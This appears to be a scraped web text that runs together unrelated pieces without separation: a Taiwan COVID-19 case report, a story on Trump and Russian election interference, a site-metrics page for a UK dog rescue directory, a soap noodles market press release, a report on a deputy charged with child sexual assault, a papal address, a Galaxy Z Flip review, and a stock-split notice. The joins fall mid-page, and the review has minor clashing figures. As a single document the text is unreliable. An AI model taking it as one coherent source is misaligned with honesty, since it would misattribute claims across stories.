(CNA) A woman in Taiwan with no history of overseas travel over the past two years has been infected with COVID-19 coronavirus, the Central Epidemic Command Center (CECC) reported late Wednesday. A further investigation will be conducted to determine if the case is the result of community-level transmission of the virus in Taiwan, the center said. The woman in her 60s living in northern Taiwan, whose precise location was not disclosed by the CEEC, is the 24th person in the country to be confirmed with the respiratory disease. She first came down with a fever and cough on Jan. 22, according to the CECC. The patient sought medical attention four times at local clinics but was told that she only had a common cold. Although she was hospitalized with pneumonia on Jan. 30 and transferred to intensive care Feb. 10, the hospital did not take her samples for COVID-19 tests or put her in a negative-pressure isolation ward until Feb. 17. She was diagnosed with the virus on Wednesday. It is the second COVID-19 case with unknown origin of infection in Taiwan, after a 61-year-old limousine service driver in central Taiwan died from the virus on Feb. 15. The CECC has identified 360 people who have had contact with the latest patient since she fell ill and will take their samples for testing. (By Chen Wei-ting and Y.F. Low) Enditem/J NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address By PTI WASHINGTON: Donald Trump and Russia on Friday both angrily dismissed US intelligence's account that Moscow is meddling in this year's election as Democrats accused the president of betraying democracy. US intelligence chief Joseph Maguire, whom Trump replaced on Wednesday with a loyal partisan lacking direct experience in the field, warned lawmakers of Russian interference in a classified briefing last week. The US intelligence community publicly concluded that Russia intervened in 2016, including by manipulating social media, but Maguire reportedly revealed that Moscow wanted Trump to be re-elected and was meddling in the Democratic Party's primaries. Trump, who has repeatedly shown irritation at assertions that Russia helped him win the White House, denounced the latest assertions as the work of the rival party. "Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa," Trump tweeted, referring to the debacle in releasing results from the Democrats' first contest. "Hoax number 7!" In Moscow, Kremlin spokesman Dmitry Peskov said the allegations were "like the usual paranoid announcements, which unfortunately will multiply as we get closer to the election." "Of course, they have nothing to do with the truth," he said. President Vladimir Putin, however, acknowledged when he met Trump in July 2018 that he supported the populist billionaire's campaign, seeing him as friendlier to Moscow than rival Hillary Clinton. An extensive report by former FBI chief Robert Mueller found that Russia intervened to back Trump but did not conclude that the Trump campaign conspired with Moscow. Trump was later impeached in a separate scandal over holding back military aid to Ukraine, which is fighting Russian-backed separatists, to pressure the Kiev government to dig up dirt on a Democratic candidate. The Senate, led by Trump's Republican Party, acquitted him on February 6, after which the president swiftly removed officials who provided evidence against him. Former CIA director John Brennan, who served under presidents Barack Obama and George W.Bush, said the United States had entered "a full-blown national security crisis." "By trying to prevent the flow of intelligence to Congress, Trump is abetting a Russian covert operation to keep him in office for Moscow's interests, not America's," he wrote on Twitter. Democratic presidential candidate Elizabeth Warren said the 2020 election revelations showed the "enormous" challenge. "It should worry, all of us, that we now live in an America where one political party seems to think that foreign interference helps them in an election," she said at a CNN forum with voters in Nevada. Senator Chris Van Hollen denounced both Trump's appointment of a "novice" new intelligence chief and the Senate's blocking of election reform bills backed by Democrats. "Our intel agencies say Putin is interfering in our election to help Trump," he wrote on Twitter. "What's the definition of treason?" Representative Eric Swalwell, who serves on the House intelligence committee, tweeted simply: "Agent for Russia." Few Republican lawmakers immediately spoke out, although Trump's allies in the past have questioned why Russia would favor him. While Trump has spoken with admiration about Putin, his administration, staffed with more traditionally Russia-skeptic Republicans, has provided military aid to Ukraine and pushed through sanctions that hit Moscow. The New York Times, quoting anonymous sources, reported that Trump lashed out not at the purported Russian interference but at Maguire for allowing his staff to brief lawmakers -- particularly Adam Schiff, the House intelligence chief who also led the impeachment drive. While Maguire would have been obliged to leave next month as he was serving in acting capacity, Trump on Wednesday replaced him with Richard Grenell, the outspoken US ambassador to Germany. Grenell was an unusual choice for the largely behind-the-scenes job as he has no direct intelligence experience and has made waves by irritating German leaders with his prolific online commentary. A longtime media commentator, Grenell has played down Russian interference in 2016, saying that Moscow routinely conducts such operations. While evidence for the latest meddling assertions is classified, Democratic presidential frontrunner Bernie Sanders alleged at a debate Wednesday that Russia could be behind belligerent online remarks by his professed supporters that have drawn condemnation from other candidates. Dogpages.org.uk scored 53 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 2.5/5.0 Stars by Social Team This CoolSocial report was updated on 2 Mar 2013, you can refresh this analysis whenever you want. dogpages.org.uk is very popular in Stumble Upon and Delicious. It is liked by 3 people on Facebook, it has 38 twitter shares and it has 6 google+ shares. The total number of people who shared the dogpages homepage on Google Plus by a google +1 button. The total number of people who shared the dogpages homepage on Delicious. The total number of people who shared the dogpages homepage on StumbleUpon. This is the sum of two values: the total number of people who shared, liked or recommended the dogpages homepage on Facebook + the total number of page likes (if dogpages has a Facebook fan page). This is the sum of two values: the total number of people who shared the dogpages homepage on Twitter + the total number of dogpages followers (if dogpages has a Twitter account). Basic Information PAGE TITLE Dog Rescue Pages - UK dog rescue homes, centres and shelters guide DESCRIPTION The top UK rescue website and forums for everyone intending to adopt a dog. Details of dog rescue centres, sanctuaries, shelters, homes and breed-rescue organisations throughout the UK and Ireland. Adopt a dog from centre near you. KEYWORDS dog rescue, dog, dogs, forums, dog rescue UK, rehoming, animals, breed rescues, pages, adopting, rescue organisations, centres, charities, homes, rescues, centers, shelters, kennels, training, care, UK, Wales, Scotland, NCDL, ncdl, Dogs Trust, Dogstrust, OTHER KEYWORDS rescue, dog rescue, dogpages, homes, centres, breed, rescues CoolSocial advanced keyword analysis tool is able to detect and analyze every keyword on each page of a site. The description meta-tag found in the head section of the homepage. The title found in the head section of the homepage. The URL (Uniform Resource Locator) is the address of the site. The keywords meta-tag found in the head section of the homepage. Domain and Server DOCTYPE CHARSET AND LANGUAGE ISO-8859-1 DETECTED LANGUAGE English English SERVER Apache OPERATIVE SYSTEM Linux Linux The language of dogpages.org.uk as detected by CoolSocial algorithms. Type of server and offered services. Character set and language of the site. Represents HTML declared type (e.g.: XHTML 1.1, HTML 4.0, the new HTML 5.0) Operative System running on the server. Site Traffic trend during the last year. Only available for sites ranked <= 100000 in the world. Referring domains for dogpages.org.uk by MajesticSeo. High values are a sign of site importance over the web and on web engines. Facebook link FACEBOOK PAGE LINK NOT FOUND The type of Facebook page. The total number of people who like website Facebook page. The total number of people who tagged or talked about website Facebook page in the last 7-10 days. A Facebook page link can be found in the homepage or in the robots.txt file. Facebook Timeline is the new layout of Facebook pages. The description of the Facebook page describes website and its services to the social media users. The URL of the found Facebook page. Twitter account link TWITTER PAGE LINK NOT FOUND Newark, NJ, Feb. 21, 2020 (GLOBE NEWSWIRE) -- As per the report published by Fior Markets, the global soap noodles market is expected to grow from USD 3.6 Billion in 2017 to USD 4.9 Billion by 2025 at a CAGR of 3.9% during the forecast period 2018-2025. Growing preference of consumers towards hygiene, living standard & cleanliness, increasing demand of the product in end-use industries, implementation of numerous promotion & marketing activities for bar soap and the rise in demand for the product in developing countries including India and China are the factors fuelling the soap noodles market. Soap noodles are manufactured from vegetable oil and animal fat by saponification reaction and are made as a salt of the fatty acids. It is a small noodle-shaped product created by the reaction of sodium hydroxide and palm-based fatty acids/tallow. A typical mixture of the product contains different percentages of palm oil and kernel or coconut oil such as 80:20, 70:30, 60:40, and 90:10. However, 80% palm oil and 20% palm kernel or coconut oil is commonly used in industries owing to the proper balance of lather, rate of cleaning ability, and hardness. These materials are used as a feedstock for producing soap. Its constant composition, better quality, exceptional detergency, ease of application and bio-compatible nature are influencing the market growth. They are widely used in household use, special purpose soaps, industrial use and others. The product helps in the production of household and toilet soaps and acts as a base material with addition of signature fragrance, pigments, and other additives in application industries. The prices of the product may vary globally depending on the properties such as color, fatty acid, and water content. Evolving preference of consumers towards awareness for cleanliness, hygiene etc is a major factor driving the market. High implementation of numerous promotion and marketing activities for bar soap is paving the way for manufacturers to achieve new milestones in manufacturing products with negligible defects. In addition, increasing demand of the product by end-use industries in developing countries including India and China is fuelling the growth of market. Harmful effects of soap noodles may hamper the growth of market. However, the demand for the product is rising significantly with the improvement in soap bars such as herbal soap, aromatherapy soap, moisturizing soap, anti-bacterial soap, etc. DOWNLOAD FREE SAMPLE REPORT AT https://www.fiormarkets.com/report-detail/375955/request-sample Key players operating in the global soap noodles market include Permata Hijau Group, KLK OLEO, 3F INDUSTRIES LTD., Deeno Group, Adimulia Sarimas Indonesia, IOI Oleochemicals, Wilmar International Ltd., John Drury, Musim Mas Holdings, VVF Limited, Hasel Soap & Cosmetic Co., Royal Chemicals, HUD Ltd., Olivia Impex Pvt. Ltd., Excel Rasayan Private Ltd., Jac Innovation and Kerawalla Group among others. To enhance their market position in the global soap noodles market, the key players are now focusing on adopting the strategies such as product innovations, mergers & acquisitions, recent developments, joint venture, collaborations, and partnership. For instance, Singapore-based Musim Mas Holdings, a leading competitor in the soap noodles market, collaborated with Genting Plantations Group in March 2015 to set up a palm oil refinery in Malaysia. This move helped the company expand its capacity in the region. The Vegetable Oil segment held largest market share of 67.30% in 2017 The product type segment is classified into vegetable oil and tallow. The vegetable oil segment is dominating the soap noodles market in 2017. The vegetable oil segment accounted for the major shares of the soap noodles market because of the increased demand for soap noodles using vegetable oil in the Chinese market and the addition of palm oil as a main ingredient which will contribute to the growth of this market segment in the coming years The Household Use segment valued around USD 1.66 Billion in 2017 The application segment includes household use, industrial use and special purpose. The household use segment dominated the market with the highest share in 2017. The increase in population in South-East Asia and Central Asia and the rise in demand for soap products due to the increase in awareness towards hygiene are the major factors that augment the growth prospects of the soap noodles market in this segment. Browse full report with TOC at https://www.fiormarkets.com/report/global-soap-noodles-market-by-product-type-vegetable-375955.html Regional Segment Analysis of the Soap Noodles Market North America (U.S. , Canada, Mexico) Europe (Germany, France, U.K., Italy, Spain, Rest of the Europe) Asia-Pacific (China, Japan India, Rest of APAC) South America (Brazil and Rest of South America) Middle East and Africa (UAE, South Africa, Rest of MEA) The regions analysed for the market include North America, Europe, South America, Asia Pacific, and Middle East and Africa. Asia Pacific region dominated the global soap noodles market with USD 1.51 Billion in 2017 where as the North America region held the second dominant position in the market. The Asia Pacific emerged as the leading contributor in the global soap noodles market because of growing awareness about hygiene among the population and an enhancement in the standard of living in the developing economies of Asia Pacific such as China, India, and Japan which are projected to boost the demand for soap bars. This, in turn, is estimated to propel the demand for soap noodles in APAC in the near future. Europe has turned out to be a growing market for soap noodles owing to the increasing production of soap bars with special functional additives. The high standard of living and growing health concerns in the region are driving the growth of the market. Moreover, the market has been driven by these factors in various segments such as household use, special purpose soaps, and industrial use. It is estimated that the growing innovation and technological advancement in soap noodles, and other products are predicted to propel the growth in the countries such as the U.K, Italy, Germany, and France during the forecast period. About the report: The global soap noodles market is analysed on the basis of value (USD Billion), volume (Kilo Tons), consumption (Kilo Tons), imports (Kilo Tons) and exports (Kilo Tons). All the segments have been analyzed on global, regional and country basis. The study includes the analysis of more than 30 countries for each segment. The report offers in-depth analysis of driving factors, opportunities, restraints, and challenges for gaining the key insight of the market. The study includes porters five forces model, attractiveness analysis, raw material analysis, supply, demand analysis, competitor position grid analysis, distribution and marketing channels analysis. For Instant Purchase: Single User License: https://www.fiormarkets.com/checkout.html?reportid=375955&type=single Corporate License: https://www.fiormarkets.com/checkout.html?reportid=375955&type=corp Customization of the Report: The report can be customized as per client requirements. For further queries, you can contact us on sales@fiormarkets.com or +1-201-465-4211. Our executives will be pleased to understand your requirements and offer you the best-suited reports. About Fior Markets Fior Markets is a futuristic market intelligence company, helping customers flourish their business strategies and make better decisions using actionable intelligence. With transparent information pool, we meet clients objectives, commitments on high standard and targeting possible prospects for SWOT analysis and market research reports. Fior Markets deploys a wide range of regional and global market intelligence research reports including industries like technology, pharmaceutical, consumer goods, food and beverages, chemicals, media, materials and many others. Our Strategic Intelligence capabilities are purposely planned to boost your business extension and elucidate the vigor of diverse industry. We hold distinguished units of highly expert analysts and consultants according to their respective domains. The global market research reports we provide involve both qualitative and quantitative analysis of current market scenario as per the geographical regions segregated and comprehensive performance in different regions with global approach. In addition, our syndicated research reports offer a packaged guide to keep companies abreast of the upcoming major restyle in their domains. Fior Markets facilitates clients with research analysis that are customized to their exact requirements, specifications and challenges, whether it is comprehensive desk research, survey work, composition of multiple methods, in-detailed interviewing or competitive intelligence. Our research experts are experienced in matching the exact personnel and methodology to your business need. Contact Us Avinash D Head of Business Development Phone: +1-201-465-4211 Email: sales@fiormarkets.com Web: www.fiormarkets.com To Read Top Industries Reports, Visit our Affiliated Website: https://www.mrinsights.biz/ Related Reports Global Modified Starch Market - https://www.fiormarkets.com/report/global-modified-starch-market-by-raw-material-corn-cassava-375948.html Global Natural Source Vitamin E Market - https://www.fiormarkets.com/report/global-natural-source-vitamin-e-market-by-product-375949.html Global Plant Breeding and CRISPR Plants Market - https://www.fiormarkets.com/report/global-plant-breeding-and-crispr-plants-market-by-375950.html Global Plant Growth Regulators Market - https://www.fiormarkets.com/report/global-plant-growth-regulators-market-by-crop-type-375951.html A Bexar County Sheriffs Office deputy accused of sexually assaulting a teenage girl over several years was arrested Thursday. Deputy Andrew Sanchez Guerra, 40, was charged with sexual assault of a child. He posted a $75,000 bond and was released the same day. On Jan. 20, 2019, the girls mother filed a report after the girl returned home from a weekend stay with Guerra and two other juveniles at his apartment, according to a San Antonio police report. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox The girl, who was 16 when the report was made, told her mother that he sexually assaulted her while she was there, investigators said. She told police it was not the first time she was sexually assaulted by Guerra, and that it had been happening since November 2017. Guerra allegedly first started touching her when she was around 13 years old, according to the report. In the January incident, the girl said there were not enough blankets for her and the two other juveniles, so she slept in Guerras bed, the report states. She said she was awakened, touched and her clothes were removed before she was assaulted. She told investigators that similar types of assaults had occurred numerous times. The other two juveniles said they had not been touched or assaulted by him, according to police. RELATED: 'Very tragic situation': Investigators try to determine why driver in deadly crash didn't see 10-year-old girl fall After the sheriffs office learned about the case, Guerra was placed on unpaid administrative leave on Jan. 22, 2019. Guerra, who was hired on Sept. 2003, was on leave until April 29 in accordance with a collective bargaining agreement. He was then placed on administrative duty until his arrest Thursday. Sheriff Javier Salazar began proceedings to fire Guerra and again placed him on unpaid administrative leave. BCSOs Internal Affairs will conduct a separate but concurrent administrative investigation, pending further criminal investigation of the case by police. Priscilla Aguirre is a breaking news reporter and general assignment writer. Read her on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | priscilla.aguirre@express-news.net | @CillaAguirre Francis mentions the witness given by your Oriental Orthodox Churches. For yours are Churches that have sealed their faith in Christ in blood and that continue to sow seeds of faith and hope, even in areas often, tragically, scarred by violence and war. Vatican City (AsiaNews) Pope Francis welcomed a group of young priests and monks (pictured) from Eastern Orthodox Churches who are Rome at the invitation of the Pontifical Council for the Promotion of Christian Unity. The priests and monks belong to the Coptic Orthodox Church, the Armenian Apostolic Church, the Syrian Orthodox Church of Antioch, the Orthodox Ethiopian Church and the Orthodox Malankara Syrian Church In his address to them, the pontiff said that Every visit brings a sharing of gifts and their visit could bring a fruitful seed that leads to communion and full unity. When the Mother of God visited Elizabeth, she shared her joy at having receiving Gods gift. Elizabeth, who at Marys greeting felt the child leap in her womb, was herself filled with the gift of the Holy Spirit and blessed her cousin (cf. Lk 1:39-42). Like Mary and Elizabeth, the Churches carry with them a variety of gifts of the Spirit, to be shared for their mutual joy and benefit. When we Christians visit one another, and encounter one another in the love of the Lord, we are blessed to be able to exchange these gifts. We can receive what the Holy Spirit has sown in others as a gift for ourselves. Your visit, then, is not only an opportunity for you to grow in knowledge of the Catholic Church, but also a chance for us Catholics to receive the gift of the Spirit that you bring. Your presence makes possible this sharing of gifts and is a source of joy. Everything begins there, with our acknowledgment of grace, with our recognition of Gods gracious work, with our belief that he is the source of the goodness within us. This is the beauty of the Christian vision of life. And it is also the proper way for us to welcome our brothers, as the Apostle teaches. I am grateful, then, for you, for the grace that you have received in your lives and your traditions, for your saying yes to your priesthood and your monastic life, and for the witness given by your Oriental Orthodox Churches. For yours are Churches that have sealed their faith in Christ in blood and that continue to sow seeds of faith and hope, even in areas often, tragically, scarred by violence and war. I hope that each of you has had a positive experience of the Catholic Church and the city of Rome, and that you have felt not so much as guests, but as brothers. The Lord is pleased with this brotherly affection between us. May your visit and those that, with Gods help will follow in the future, be a source of joy and give glory to the Lord! May your presence become a small but fruitful seed that will bear fruit in visible communion between us, in that full unity that Jesus ardently desires (cf. Jn 17:21). To date, every foldable you could buy has been the subject of at least some drama. Royole's FlexPai felt barely finished. The original Galaxy Fold wasn't much more than a prototype, with glaring design issues that were fixed in later production runs. Huawei's Mate X stole the show at last year's Mobile World Congress but was delayed for reasons the company never fully explained. And the Razr? Well, let's just say the results couldn't possibly live up to the hype. The Galaxy Z Flip ($1,380) is different. Of all the foldables I've used, this is the first one that seems to tick all the boxes: Excellent performance, great cameras, and even decent battery life all packed into a flip-phone-style body that I honestly think makes the most sense for most people. If you're in a rush to embrace one possible future for smartphones, then I don't think you'll do much better than this. But why rush? Embracing that future means putting up with a lot of compromises. And even though the Z Flip has fewer than most, the same lingering foldable criticisms apply. They're more expensive than comparable smartphones. They're inherently fragile and app-makers don't know how to take advantage of them (yet). The Z Flip may be the best of its kind, but until foldables as a whole mature beyond these problems, they're still not worth the splurge for anyone who doesn't want to double as a beta tester. Key specs Samsung Galaxy Z Flip Processor Octa-core Snapdragon 855+ RAM / storage 8GB/256GB MicroSD card support N/A Main Display 6.7-inch Dynamic AMOLED Infinity Flex Display resolution 2,636 x 1,080 (21.9:9) External Display 1.1-inch Super AMOLED Display resolution 300 x 112 Rear cameras 12MP f/2.2 ultra-wide angle camera, 12MP f/1.8 wide-angle camera with Super Speed Dual Pixel AF and OIS Front-facing camera 10MP f/2.4 camera OS Android 10 with One UI 2.0 Battery 3,300mAh Charging USB-C, supports QuickCharge 2.0 and Samsung Adaptive Fast Charging Dimensions 73.6 x 87.4 x 17.3-15.4mm (closed), 73.6 x 167.3 x 7.2-6.9mm (closed) Weight 183g Fingerprint sensor Yes, side-mounted Waterproofing N/A NFC Yes Headphone jack No Design and durability Story continues Late last year, I found myself on an impromptu holiday in Germany, freezing from the moment I stepped off the plane. The first item on my to-do list? Get a coat, and fast. The result of that impulse buy is a jacket I absolutely adore, but one with a shallow, strangely-angled inside pocket that my phone always peeks out of, like it's contemplating a hasty escape. Not this time. The Galaxy Z Flip fits in there perfectly. There will probably always be a place for devices that pull double duty as smartphones and as small tablets, but I prefer devices like the Razr and the Galaxy Z Flip because they offer full smartphone functionality when you need it and disappear into a tight pocket or small purse when you don't. And so far, Samsung's approach to that form factor is the most elegant we've seen. Samsung Galaxy Z Flip review Samsung Galaxy Z Flip review That doesn't, however, mean the Z Flip is attractive. Much like this year's Galaxy S20 lineup (with the possible exception of the S20 Ultra and its wild rear camera array), the Z Flip looks, well, pretty boring. Our black model has all the flair and panache of a Game Boy Advance SP, though the luminescent violet model is pretty in a Huawei P20 Pro sort of way and there's a spendy Thom Browne edition if you're into the whole Aquafresh aesthetic. Beyond that, though, the Z Flip is almost surprisingly nondescript. When closed, you'll find the volume keys and fingerprint sensor/power button on the right side, the nanoSIM slot on the left, and the main dual camera up front, next to a tiny, 1-inch external screen. I can't say I'm a fan. It's ideal for quickly glancing at the time, and you use swipe over to view your media controls in a pinch, but for nearly everything else, it's just too small to be truly useful. Let's say you want to triage some of your notifications: You handle that by swiping to the right and tapping on the corresponding app icon. Fair enough, but the screen's narrow dimensions mean the contents of those notifications scroll across it, and the screen almost always shut off before I could read the whole thing. (I've conferred with others I know who have been testing the Z Flip, and if there's a way to fix this in the settings, we can't find it.) The external screen also doubles as a viewfinder for selfies when using the main camera, but you only ever get to see a sliver of the action. It's enough to make sure that you're in the frame, but it also means whatever's in the background remains a surprise until you open the phone. I get why Samsung would use a highly limited screen like this as it was probably much easier to build into a Z Flip than something more expansive, and I'm sure it cost less, too. Even with those constraints in mind, Samsung's approach here feels surprisingly inelegant. At least in this one area, Motorola's Razr has a clear advantage. So yeah, the Z Flip's design could've used a little more thinking through. The bigger question is whether this new take on a classic design can withstand long-term use, and we just can't definitively answer that yet. What I can say, though, is that despite an improved design and much-needed upgrades to the folding mechanism, I still have some concerns. Let's start with the hinge. It's the most complex and crucial part of this entire endeavor, and to Samsung's credit, the one in the Z Flip feels much sturdier than the version found in the Galaxy Fold. So far, that seems more blessing than curse it gives the Flip a sense of stability that the Fold didn't really have, and Samsung's design here means you can open the phone halfway and set it down on a table for photo shoots or video calls. The only immediate downside is that it isn't as easy to flip open with one hand as, say, the Razr, but you'll get the hang of it soon enough. (Pro tip: It's all in the wrist.) Samsung Galaxy Z Flip review There are, however, a few less obvious shortcomings. Samsung says there are nylon "brushes" inside the Z Flip to help keep dust and debris out of the phone's all-important hinge you can actually hear those fibers moving around if you press your ear up to the phone while opening or closing it. This "brushing technology" Samsung actually calls it that may sound effective, but a recent iFixit test revealed that there are limits to how much cleaning those fibers can do. After they tossed the phone in a plastic bag full of, uh, purple sand, the Z Flip's hinge started making some concerning popping sounds. Like the Fold, you definitely should not take the Z Flip to the beach. With more careful use, Samsung says the Z Flip is rated for about 200,000 folds or about five years of actual use. That sounds great, but I'd take that figure with a grain of salt it's only been about a year since the first foldables hit the market, so anyone making promises about longevity is just hypothesizing in front of you. Oh, and there's more. Unlike the Razr, which closes completely, there's still a noticeable gap between the Z Flip's two halves when it's folded. It's not hard to imagine some pocket debris sneaking in there and scratching that internal display, even if the odds of serious damage seems pretty unlikely. Samsung also used the same T-shaped caps we saw in the redesigned Galaxy Fold to help seal the display around the hinges, which should keep larger bits of foreign material out of the phone, but it's important to remember the Z Flip isn't rated for water or dust resistance at all. It might be the best foldable I've tested so far, but you should still keep those kid gloves on. A "flexible glass" display? The star of any foldable is its screen, and the one on the Galaxy Z Flip looks great. It's a 6.7-inch Dynamic AMOLED panel, with the same vibrant colors and great viewing angles you'd expect from a Samsung display. Unlike the Razr, the Z Flip's screen is also bright enough to be usable outdoors it would've been nice if Samsung had bumped up the display's maximum brightness a notch or two, but what we get is perfectly serviceable. To my surprise, using this extra-tall screen was also a lot more comfortable than I expected. People will small hands will struggle to reach the top of the display with one hand, but I never really had to shuffle mine up and down to reach the screen's farthest corners. Practically speaking, there are only two notable shortcomings. First, its resolution: At 2636x1080, it's far less pixel-dense than a Galaxy S20, but you'll probably never notice the difference unless your nose is pushed up against the screen. The other is that, presumably because of its odd 21.9:9 aspect ratio, some apps don't scale to fit the screen properly. Instagram, for instance, displays its Stories with big black bars along the top and bottom, and some of them are cut off along the sides. Uber, meanwhile, just runs with some dead space along the bottom. Beyond those relatively minor issues, I have no complaints here. Even so, this smartphone's screen is shaping up to be pretty controversial, all because of what's on top of it. Samsung has made a lot of noise about its ultra-thin, flexible glass since the Z Flip was announced a few weeks ago, to the point where the development sounded like a material science miracle. A glass screen! In a foldable! Someone finally figured it out! I'll admit it: When I was at the Galaxy Unpacked event in San Francisco, I just took Samsung's word for it. What the company never bothered to make clear is that, glass or not, the Z Flip's screen still doesn't seem anywhere near as durable as a traditional smartphone display. For one, it's still highly susceptible to scratches our Z Flip's screen has already picked up a handful of them, and I can't for the life of me tell you how they got there. As it turns out, those scratches are appearing so readily because you're not directly touching the glass, but a thin layer of protective plastic sitting on top of it. (Like on the Galaxy Fold, it stretches under the display's raised bezels so it's near-impossible to remove accidentally.) It's not quite right to think of this as a mere screen protector, either. In a chilling YouTube teardown, Zack Nelson of JerryRigEverything peeled back the plastic and destroyed the display in the process. No, this plastic is an essential part of the screen itself, so be ready to see your fair share of nicks and gouges. Samsung Galaxy Z Flip review And then there's the ultra-thin glass itself. Our contacts at Samsung wouldn't directly confirm how thick this glass layer is, but the company's display division shed some light on its approach in a recent press release. The glass here is 30 microns, or 0.03mm thick that's probably thinner than a sheet of paper you have sitting in your printer right now. To put that in perspective, Corning's widely used Gorilla Glass ranges from, 0.4mm to 2mm. No matter how you look at it, you're getting less protective glass here than you would with basically any other phone. It shows, too: That same YouTube teardown revealed that the Z Flip screen doesn't resist puncture damage very well, so God forbid you ever drop the phone face down on something. (For what's with worth, our unit survived a few accidental landings on clean ,hard floors without issue.) In day-to-day use, the main benefit of this ultra-thin glass is that it just feels better. Apart from the crease, which is both mildly annoying and currently unavoidable for foldables the Z Flip's screen feels just like a regular smartphone; there's no screen flexing or plastic squishiness here. That's important, for sure, but doesn't mean you should expect this screen to handle daily life as well as a traditional smartphone. In use A handful of foldables are available right now, but few of them were great at the whole "being a smartphone" thing. The Galaxy Fold was mostly meant to be used as a small tablet, and the Razr was so compromised that I can't imagine anyone finding its blend of disappointing battery life, bland cameras and mid-range performance worth it. By comparison, the Z Flip is in a class of its own when it's open, it works and feels just like a proper, high-end smartphone. Apart from the glass covering the screen, that's mostly thanks to Samsung's choice of components. There's a Snapdragon 855+ inside, along with 8GB of RAM and 256GB of storage. That's enough to put it right up there with the absolute best of last year's flagships. I've honestly struggled with this part of the review because there really isn't much to say the Z Flip runs effortlessly smoothly, and there's more than enough power here for split-screen multitasking, high-performance gaming and just about anything else you'd want to throw at it. (That's something I definitely couldn't say about the Razr earlier this year.) I know some of you are probably miffed that the Z Flip doesn't pack the same high-end parts as the new Galaxy S20s. That's fair after all, the difference in price between this thing and a new Samsung flagship with an impeccable screen, top-of-the-line processor, a 100x Space Zoom camera and a massive battery is nearly negligible. And when you consider the Z Flip is also missing 5G support and expandable storage, it becomes clear that this just isn't a particularly future-proof phone. The Z Flip forces you to choose between those practical concerns and the intoxicating novelty of a phone that shrinks by half when you don't need it. For what it's worth, Samsung tried to sweeten the deal a bit with its customized version of Android 10. It's mostly clean, albeit painted over with Samsung's updated One UI 2.0, but the most interesting tweak here is what the company calls Flex Mode a feature that allows certain apps to reconfigure themselves as you start folding the phone. Need to check in on your family via Duo video call? Plop the Z Flip onto a table, bend the screen partway, and watch as your faces shift onto the screen's top half. And while the phone is sitting at attention, you can snap some photos, too. (The viewfinder faces you while the camera controls lay flat on the bottom half of the screen.) These are neat flourishes, and propping the phone so it can take photos all by itself is genuinely helpful. (The Razr, by comparison, has almost no foldable-focused software enhancements.) Unfortunately, right now you can't use Flex Mode to do much more than what I've described but that should change in time. Google says it worked with Samsung to develop Flex Mode in the first place, and that it'll eventually become available on other foldable phones. Once that happens, app developers might not have a choice besides redesigning their software to play nice with the feature for now, you can at least leave your tripod at home. Thankfully, the cameras don't leave me with much to complain about. Samsung went with two 12-megapixel cameras, a standard and an ultra-wide, around back. Or on top. Or up front. No matter how you look at it, this camera setup isn't nearly as ambitious as we've seen on the Galaxy S20s, but there's still plenty to work with here. Both sensors capture eye-catching images, and, as always, Samsung's aggressive processing means the pictures you take almost always look more vibrant and dramatic than reality. (Whether that's a good thing is a matter of taste.) You'll spot plenty of detail, too, though that processing I just mentioned tends to turn some finer aspects indistinct if you zoom in enough. Those details quickly get blurred into oblivion once it gets too dark neither camera does particularly well in low light, but the ultra-wide is noticeably worse. In other words, all pretty standard stuff for Samsung cameras. I will say the lack of a dedicated telephoto camera is a bummer, but at least the Z Flip inherited the S20s' Single Take mode. Once enabled, the phone captures multiple video clips and stills so you get a nice variety of content without any extra work on your part. I've grown pretty fond of this feature, even though no telephoto lens means your selection of shots is less varied than what you'd get out of a Galaxy S20. Samsung Galaxy Z Flip review Samsung Galaxy Z Flip review And then there's battery life, which is good, but not great by $1,400 phone standards. There are two batteries inside that collectively offer 3,300mAh of juice to put things in perspective, even the smallest of the new Galaxy S20s has a 4,000mAh battery. In my experience, the Z Flip is good for one long day of use and not much else, though I should mention that I've been getting a solid five to five-and-a-half hours of screen on time here. That's a notable improvement over the Razr. Still, this isn't the kind of phone you should forget to charge overnight if you do, you're in for some mild panic come the morning. Unfortunately, that's just a natural limitation of these kinds of foldables having two movable segments means using multiple smaller batteries in tandem, which just isn't as power-efficient as a single big battery. The competition If you're itching for a foldable right now, your options are limited. There's the Galaxy Fold if you're into its small Android tablet vibe, but I have to assume that if you're considering the Z Flip in the first place, Samsung's other, more expensive foldable wasn't a serious contender for your cash. The only direct competitor right now is Motorola's $1,500 Razr, and I'll just end that debate right now: Unless you find yourself enamored with the Razr's throwback style, there's hardly anything that device does that the Z Flip doesn't do better. We can't just leave things there, though. Because of its great performance and comparable price, the Z Flip also faces direct competition from the rest of 2020's premium smartphones. For about the same amount of money, you could also invest in Samsung's Galaxy S20 Ultra, a device that packs a much better screen, a much bigger battery, even more cameras and full 5G support. If you're reading this review the day it was published, we've only just started testing the Ultra, so for now I can't definitively say it's the better phone. Even so, it's an excellent object lesson: Yes, foldables are appealing for their flexibility, but if it's pure functionality you're after, a more traditional phone will almost always have the upper hand. Wrap-up If the last 3,000 words haven't already made it clear, I'm torn. I love how the Galaxy Z Flip gives me the smartphone I need when I need it, and how it nearly disappears into your pockets when I'm done. (Literally it's small enough that I've misplaced the thing a few times now.) I love how Samsung didn't skimp on performance as Motorola did with the Razr. I love this thing, full stop. I just don't know if I can trust it. Its inherent fragility, more than anything, is why I hesitate to embrace the Z Flip more fully. Sure, these things might last longer than Samsung suggests, but we don't live our lives in hermetically sealed labs. The real world is messy. Accidents happen. And simply because it's one of the industry's early foldables, the Z Flip almost certainly doesn't have the staying power of a less interesting glass-and-metal slab. At the end of it all, you want to ditch your current phone for something ambitious and exciting, the Galaxy Z Flip is your best, most elegant option. All I ask is that you remember this: Buying one doesn't just mean you're getting a new phone. It also means you're rolling the dice. SARASOTA, Fla., Feb. 20, 2020 (GLOBE NEWSWIRE) -- Uniroyal Global Engineered Products, Inc. (OTCQB: UNIR), a manufacturer of coated fabrics, today announced that the Companys Board of Directors has approved an effective date of February 24, 2020 for a 1-for-5 reverse stock split of shares of the Companys common stock, par value $0.001 per share. The Companys common stock will open for trading on the OTCQB on a post-split at 12:01 a.m. February 24, 2020 under the Companys trading symbol UNIR. At such time, the Companys common stock will also commence trading with a new CUSIP number, 90916U206. At the Companys Annual Stockholder Meeting held on June 5, 2019, Uniroyal Global Engineered Products, Inc. stockholders approved a 1-for-5 reverse stock split. 